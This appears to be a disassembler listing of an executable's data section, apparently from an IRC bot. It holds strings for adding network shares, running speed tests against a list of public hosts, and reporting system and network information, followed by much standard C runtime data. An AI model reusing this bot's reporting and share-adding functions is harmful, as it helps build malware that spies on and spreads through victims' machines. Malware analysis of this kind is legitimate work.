aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0
; char asc_4513A8[]
asc_4513A8 db '-' ; DATA XREF: sub_41B081:loc_41B2EEo
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0
; char asc_4513D0[]
asc_4513D0 db '-' ; DATA XREF: sub_41B081+2C3o
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesA db '- Network shares added.',0
; char asc_4513F4[]
asc_4513F4 db '-' ; DATA XREF: sub_41B081+2DBo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B3B5+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char asc_451458[]
asc_451458 db 0Dh,0Ah,0 ; DATA XREF: sub_41B3B5+F5o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41B592+15o
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41B592+1Co
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41B592+23o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41B592+2Ao
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41B592+31o
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41B592+38o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41B592+3Fo
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41B592+46o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41B592+4Do
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41B592+54o
align 4
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41B592+5Bo
align 4
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41B592+62o
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41B592+69o
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41B592+70o
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41B592+77o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41B592+7Eo
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41B592+85o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41B592+8Co
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41B592+93o
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41B592+9Ao
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B592+A1o
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B592+A8o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41B592+AFo
align 4
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41B592+B6o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41B592+BDo
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41B592+C4o
align 4
; char asc_451608[]
asc_451608 db '-' ; DATA XREF: sub_41B592+1A7o
db 3, 34h, 2
dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
dd 626B2064h, 732F7469h, 0
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B76F+52o
a95_0 db '95',0 ; DATA XREF: sub_41B92C+46o
align 4
aNt_0 db 'NT',0 ; DATA XREF: sub_41B92C+5Ao
align 4
a98_0 db '98',0 ; DATA XREF: sub_41B92C+6Co
align 10h
aMe_1 db 'ME',0 ; DATA XREF: sub_41B92C+7Eo
align 4
a2k_0 db '2K',0 ; DATA XREF: sub_41B92C+98o
align 4
aXp_0 db 'XP',0 ; DATA XREF: sub_41B92C+AAo
align 4
a2003 db '2003',0 ; DATA XREF: sub_41B92C+BAo
align 4
a???_0 db '???',0 ; DATA XREF: sub_41B92C:loc_41B9EFo
; char aSS_12[]
aSS_12 db '%s (%s)',0 ; DATA XREF: sub_41B92C+EBo
word_4516A0 dw 3Fh ; DATA XREF: sub_41B92C:loc_41BA2Er
align 4
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B92C:loc_41BA90o
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41B92C+192o
aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41B92C+1AEo
align 4
; char asc_4516D4[]
asc_4516D4 db '-' ; DATA XREF: sub_41B92C+297o
db 3, 34h, 2
dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41BBE0+48o
align 10h
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41BBE0+5Bo
off_4517C8 dd offset dword_4E414C ; DATA XREF: sub_41BBE0:loc_41BC42o
; char aNA[]
aNA db 'N/A',0 ; DATA XREF: sub_41BBE0+6Fo
; char aNA_0[]
aNA_0 db 'N/A',0 ; DATA XREF: sub_41BBE0+82o
; char asc_4517D4[]
asc_4517D4 db '-' ; DATA XREF: sub_41BBE0+A7o
db 3, 34h, 2
dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h
dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
dd 2Eh
dword_451818 dd 2A2F2Ah ; DATA XREF: sub_41BCA5+3Bo
; char asc_45181C[]
asc_45181C db '-' ; DATA XREF: sub_41BCA5+1A0o
db 3, 34h, 2
dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
dd 2Eh
unk_451838 db 2Dh ; - ; DATA XREF: sub_41BCA5:loc_41BE57o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
; char asc_451864[]
asc_451864 db '-' ; DATA XREF: sub_41BCA5:loc_41BE5Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
dword_451894 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41BCA5+18Co
dd 64657469h, 2Eh
unk_4518B0 db 2Dh ; - ; DATA XREF: sub_41BCA5:loc_41BE38o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_4518F0 dd 1 ; DATA XREF: __heap_alloc_dbg+10r
; __heap_alloc_dbg+F2r ...
dword_4518F4 dd 25h ; DATA XREF: __heap_alloc_dbg:loc_41C22Cr
; __heap_alloc_dbg:loc_41C395r ...
dword_4518F8 dd 0FFFFFFFFh ; DATA XREF: __heap_alloc_dbg+58r
; _realloc_help+9Er ...
byte_4518FC db 0FDh ; DATA XREF: __heap_alloc_dbg+2B7r
; __heap_alloc_dbg+2D1r ...
byte_4518FD db 0DDh ; DATA XREF: sub_41CCE0+257r
; sub_41CCE0+39Br ...
byte_4518FE db 0CDh ; DATA XREF: __heap_alloc_dbg+2F1r
; _realloc_help+377r
align 10h
; char off_451900[]
off_451900 dd offset aFree ; DATA XREF: sub_41CCE0+177r
; sub_41CCE0+1DDr ...
; "Free"
dd offset aNormal_0 ; "Normal"
dd offset aCrt ; "CRT"
dd offset aIgnore ; "Ignore"
dd offset aClient ; "Client"
align 10h
dword_451920 dd 173Fh ; DATA XREF: _floor+Br
dd 9875h, 9873h
off_45192C dd offset __fpmath ; DATA XREF: __cinit+3r __cinit+Cr
dd offset __initp_misc_winxfltr
dd offset __initp_misc_winxfltr
dword_451938 dd 1B3Fh ; DATA XREF: _ceil+Br
dword_45193C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
off_451950 dd offset __exit ; DATA XREF: __amsg_exit+22r
dword_451954 dd 2 ; DATA XREF: __FF_MSGBANNER+15r
; __NMSG_WRITE+86r ...
off_451958 dd offset dword_4F3C20 ; DATA XREF: ___initstdio+B3o
; __lock_file+3o ...
align 10h
dd offset dword_4F3C20
dd 101h
dword_451968 dd 0FFFFFFFFh ; DATA XREF: ___initstdio+11Cw
dd 0
dd 1000h, 0
dword_451978 dd 3 dup(0) ; DATA XREF: __flsbuf+111o
; __stbuf:loc_429F43o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451998 dd 3 dup(0) ; DATA XREF: __flsbuf+11Ao
; __stbuf:loc_429F55o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451BB8 dd 8 dup(0) ; DATA XREF: __lock_file+Co
; __unlock_file+Co
dword_451BD8 dd 0FFFFFFFFh ; DATA XREF: __CrtDbgReport+80o
; __CrtDbgReport+108o ...
dword_451BDC dd 2 ; DATA XREF: __CrtSetReportMode+1Er
; __CrtSetReportMode+39r ...
dd 2 dup(4)
dword_451BE8 dd 0FFFFFFFFh ; DATA XREF: __CrtSetReportFile+20r
; __CrtSetReportFile+2Cr ...
dd 2 dup(0FFFFFFFFh)
off_451BF4 dd offset aWarning ; DATA XREF: _CrtMessageWindow+284r
; "Warning"
dd offset aError ; "Error"
dd offset aAssertionFai_1 ; "Assertion Failed"
dword_451C00 dd 0 ; DATA XREF: __mtdeletelocks+1Fr
; __mtdeletelocks+44r ...
off_451C04 dd offset dword_4F3590 ; DATA XREF: __mtinitlocks+29r
; __mtdeletelocks+8Fr
dd 7 dup(0)
off_451C24 dd offset dword_4F35C0 ; DATA XREF: __mtinitlocks+1Cr
; __mtdeletelocks:loc_4234A9r
dd 3 dup(0)
off_451C34 dd offset dword_4F35D8 ; DATA XREF: __mtinitlocks+Fr
; __mtdeletelocks+75r
dd 3 dup(0)
off_451C44 dd offset dword_4F35A8 ; DATA XREF: __mtinitlocks+3r
; __mtdeletelocks+82r
dd 7 dup(0)
dd 9427F8h, 16h dup(0)
off_451CC0 dd offset unknown_libname_5 ; DATA XREF: __heap_alloc_dbg+79r
; _realloc_help+C1r ...
; Microsoft VisualC 2-8/net runtime
align 8
off_451CC8 dd offset off_451CC8 ; DATA XREF: ___sbh_new_region+Fo
; ___sbh_new_region+7Ao ...
off_451CCC dd offset off_451CC8 ; DATA XREF: ___sbh_new_region:loc_426046r
; ___sbh_new_region+9Fw ...
dd offset dword_451CE0
dd offset dword_451CE0
dword_451CD8 dd 0FFFFFFFFh ; DATA XREF: ___sbh_new_region+6r
; ___sbh_release_region:loc_4261F7w
dd 0FFFFFFFFh
dword_451CE0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:00451CD0o
; .data:00451CD4o
off_453CE8 dd offset off_451CC8 ; DATA XREF: ___sbh_release_region+17r
; ___sbh_release_region+28w ...
dword_453CEC dd 1E0h ; DATA XREF: __heap_alloc_base+AEr
; sub_423880+146r ...
dd 10h
off_453CF4 dd offset __wctype+2 ; DATA XREF: __printMemBlockData+7Cr
; _atol+2Dr ...
off_453CF8 dd offset __wctype+2 ; DATA XREF: unknown_libname_28+2A4w
; unknown_libname_28+35Bw ...
public __wctype
; const unsigned __int16 _wctype[]
__wctype dd 200000h ; DATA XREF: unknown_libname_28:loc_435031o
; unknown_libname_28+35Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes dd 1 ; DATA XREF: __printMemBlockData+4Er
; _atol:loc_41E876r ...
byte_453F04 db 2Eh ; DATA XREF: unknown_libname_11:loc_42AF77r
; unknown_libname_11+ED2r ...
align 4
dword_453F08 dd 1 ; DATA XREF: ___init_numeric+169w
; ___init_numeric+296w
off_453F0C dd offset aNull ; DATA XREF: unknown_libname_7:loc_428602r
; unknown_libname_7+57Cr
; "(null)"
off_453F10 dd offset aNull_0 ; DATA XREF: unknown_libname_7+514r
; "(null)"
dword_453F14 dd 2 ; DATA XREF: __mtinit+Fw __mtinit+14r ...
byte_453F18 db 1 ; DATA XREF: __setmbcp+12Fr
db 2, 4, 8
align 10h
dword_453F20 dd 3A4h ; DATA XREF: __setmbcp+7Er
word_453F24 dw 8260h ; DATA XREF: __setmbcp+192r
dw 8279h
dd 21h, 0
dword_453F30 dd 0DFA6h ; DATA XREF: __setmbcp+D5r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_454010 dd 1 ; DATA XREF: __dosmaperr+2Cr
dword_454014 dd 16h ; DATA XREF: __dosmaperr+3Dr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_454178 db ' ',9,'-',0Dh,']',0 ; DATA XREF: unknown_libname_11:loc_42A512o
align 10h
asc_454180: ; DATA XREF: unknown_libname_11:loc_42A4EDo
unicode 0, <]>,0
align 8
dword_454188 dd 14h ; DATA XREF: __get_fname+1Fr
off_45418C dd offset aExp ; DATA XREF: __get_fname+2Er
; "exp"
dd 1Dh
dd offset aPow ; "pow"
dd 1Ah
dd offset aLog_0 ; "log"
dd 1Bh
dd offset aLog10 ; "log10"
dd 1Fh
dd offset aSinh ; "sinh"
dd 13h
dd offset aCosh ; "cosh"
dd 21h
dd offset aTanh ; "tanh"
dd 0Eh
dd offset aAsin ; "asin"
dd 0Dh
dd offset aAcos ; "acos"
dd 0Fh
dd offset aAtan ; "atan"
dd 10h
dd offset aAtan2 ; "atan2"
dd 5
dd offset aSqrt ; "sqrt"
dd 1Eh
dd offset aSin ; "sin"
dd 12h
dd offset aCos ; "cos"
dd 20h
dd offset aTan ; "tan"
dd 0Ch
dd offset aCeil ; "ceil"
dd 0Bh
dd offset aFloor ; "floor"
dd 15h
dd offset aFabs ; "fabs"
dd 1Ch
dd offset aModf ; "modf"
dd 19h
dd offset aLdexp ; "ldexp"
dd 11h
dd offset a_cabs ; "_cabs"
dd 18h
dd offset a_hypot ; "_hypot"
dd 16h
dd offset aFmod ; "fmod"
dd 17h
dd offset aFrexp ; "frexp"
dd 22h
dd offset a_y0 ; "_y0"
dd 23h
dd offset a_y1 ; "_y1"
dd 24h
dd offset a_yn ; "_yn"
dbl_454260 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+E4r
; __handle_exc:loc_42BE37r ...
dd 0
dd 0FFF80000h
dbl_454270 dq 1.797693134862316e308 ; DATA XREF: __handle_exc:loc_42BE7Ar
; __handle_exc+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_454288 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+13r
; __set_statfp+2Ar
align 4
tbyte_454294 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+41r
align 10h
off_4542A0 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+3w
; unknown_libname_7+6ADr
off_4542A4 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Dw
; unknown_libname_7+6F1r
off_4542A8 dd offset __fassign ; DATA XREF: __cfltcvt_init+17w
; unknown_libname_11+1138r
off_4542AC dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+21w
; unknown_libname_7+6CFr
off_4542B0 dd offset __positive ; DATA XREF: __cfltcvt_init+2Bw
off_4542B4 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+35w
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
off_4542C0 dd offset ?terminate@@YAXXZ ; DATA XREF: sub_42DB70+2Dr
; sub_42DB70+3Dr
; terminate(void)
dword_4542C4 dd 43h ; DATA XREF: __setlocale_set_cat:loc_42E24Co
; .data:004543E0o ...
; char aC_2[]
aC_2 db 'C',0 ; DATA XREF: __expandlocale+8Do
; __expandlocale+117o ...
align 4
dd 20h dup(0)
; char aC_3[]
aC_3 db 'C',0 ; DATA XREF: __expandlocale+74o
; __expandlocale+FCo ...
align 10h
dd 20h dup(0)
off_4543D0 dd offset aLc_all ; DATA XREF: _setlocale+17Fr
; _setlocale+198r ...
; "LC_ALL"
; char *dword_4543D4
dword_4543D4 dd 0 ; DATA XREF: _setlocale+77r
; _setlocale+320r ...
off_4543D8 dd offset sub_42E510 ; DATA XREF: __setlocale_set_cat+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_4542C4
dd offset sub_435080
dd offset aLc_ctype ; "LC_CTYPE"
off_4543EC dd offset dword_4542C4 ; DATA XREF: __setlocale_get_all+F0r
dd offset unknown_libname_28 ; Microsoft VisualC 2-8/net runtime
dd offset aLc_monetary ; "LC_MONETARY"
dd offset dword_4542C4
dd offset ___init_monetary
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_4542C4
dd offset ___init_numeric
dd offset aLc_time ; "LC_TIME"
dd offset dword_4542C4
dd offset ___init_time
dword_454418 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __initptd+6o
; __freeptd+CEo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_454490 dd 3 ; DATA XREF: __XcptFilter+98r
; __XcptFilter:loc_42F2BBr ...
dword_454494 dd 7 ; DATA XREF: __XcptFilter+B1r
; _raise+17Dr
dword_454498 dd 78h ; DATA XREF: .text:004308B8r
; .text:004308D6r
dword_45449C dd 0Ah ; DATA XREF: _xcptlookup+1Dr
; _xcptlookup:loc_42F402r ...
dword_4544A0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: __filbuf:loc_4274B6o
; __flsbuf:loc_428139o
dword_4544C8 dd 2 ; DATA XREF: __NMSG_WRITE+2Ar
; __NMSG_WRITE+3Dr ...
; char *off_4544CC
off_4544CC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+56r
; __NMSG_WRITE+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8
dd offset aR6008NotEnough ; "R6008\r\n- not enough space for arguments"...
dd 9
dd offset aR6009NotEnough ; "R6009\r\n- not enough space for environme"...
dd 0Ah
dd offset aAbnormalProgra ; "\r\nabnormal program termination\r\n"
dd 10h
dd offset aR6016NotEnough ; "R6016\r\n- not enough space for thread da"...
dd 11h
dd offset aR6017Unexpecte ; "R6017\r\n- unexpected multithread lock er"...
dd 12h
dd offset aR6018Unexpecte ; "R6018\r\n- unexpected heap error\r\n"
dd 13h
dd offset aR6019UnableToO ; "R6019\r\n- unable to open console device\r"...
dd 18h
dd offset aR6024NotEnough ; "R6024\r\n- not enough space for _onexit/a"...
dd 19h
dd offset aR6025PureVirtu ; "R6025\r\n- pure virtual function call\r\n"
dd 1Ah
dd offset aR6026NotEnough ; "R6026\r\n- not enough space for stdio ini"...
dd 1Bh
dd offset aR6027NotEnough ; "R6027\r\n- not enough space for lowio ini"...
dd 1Ch
dd offset aR6028UnableToI ; "R6028\r\n- unable to initialize heap\r\n"
dd 78h
dd offset aDomainError ; "DOMAIN error\r\n"
dd 79h
dd offset aSingError ; "SING error\r\n"
dd 7Ah
dd offset aTlossError ; "TLOSS error\r\n"
dd 0FCh
dd offset asc_43D46C ; "\r\n"
dd 0FFh
dd offset aRuntimeError ; "runtime error "
align 10h
dword_454560 dd 2694h ; DATA XREF: __handle_qnan1+3r
; __handle_qnan2+Fr ...
align 8
dword_454568 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_432C80+3o
dword_454580 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432CA0+3o
dword_454598 dd 7080h ; DATA XREF: ___loctotime_t+92r
; __tzset_lk+80w ...
dword_45459C dd 1 ; DATA XREF: ___loctotime_t+C2r
; __tzset_lk+BFw ...
dword_4545A0 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t+DEr
; __tzset_lk+D7w ...
dword_4545A4 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_454624o
dword_4545E4 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_454628o
; char *off_454624
off_454624 dd offset dword_4545A4 ; DATA XREF: __tzset_lk+FAr
; __tzset_lk+123r ...
; char *off_454628
off_454628 dd offset dword_4545E4 ; DATA XREF: __tzset_lk+140r
; __tzset_lk+16Ar ...
align 10h
dword_454630 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+30w
; sub_4336D0+1Ar ...
dword_454634 dd 0 ; DATA XREF: sub_4336D0:loc_4338CBr
; sub_4336D0+20Fr ...
dword_454638 dd 0 ; DATA XREF: sub_4336D0+2CFr
; _cvtdate+13Dw
align 10h
dword_454640 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+21w
; __tzset_lk+2Br ...
dword_454644 dd 0 ; DATA XREF: sub_4336D0+201r
; sub_4336D0+21Dr ...
dword_454648 dd 0 ; DATA XREF: sub_4336D0+2E5r
; _cvtdate+1Dr ...
dword_45464C dd 0FFFFFFFFh ; DATA XREF: _cvtdate+B0r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_45467C dd 16Dh ; DATA XREF: ___loctotime_t+2Er
; _cvtdate+2Cr ...
dword_454680 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+BFr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 3 dup(0)
dword_4546C0 dd 40Ah ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+3Er
; crtGetLocaleInfoA(x,x,x,x)+147r
a040a db '040a',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+9Ao
align 4
off_4546CC dd offset aSpanishTraditi ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+ABr
; "Spanish - Traditional Sort"
dword_4546D0 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+BCo
off_4546D4 dd offset aSpain ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+CDr
; "Spain"
dword_4546D8 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+DEo
dword_4546DC dd 303538h, 0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+EFo
a1252 db '1252',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd 415246h
dd offset aFrance ; "France"
dd 415246h, 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd 515545h
dd offset aSpain ; "Spain"
dd 505345h, 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd 425246h
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd 414544h
dd offset aAustria ; "Austria"
dword_454838 dd 545541h, 303538h, 0 ; DATA XREF: .data:00454914o
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd 414E45h
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd 505345h, 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd 435246h
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h
dd offset aSwitzerland ; "Switzerland"
dd offset dword_454838+0Bh
dd 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd 435345h
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd 415345h
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h
dd offset aSouthAfrica ; "South Africa"
dd offset word_46415A
dd 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset off_445344+1
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h
dd offset aVenezuela ; "Venezuela"
dd offset word_4E4556
dd 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd 4F5345h
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h
dd offset aPeru ; "Peru"
dd 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h
dd offset aArgentina ; "Argentina"
dd offset byte_475241
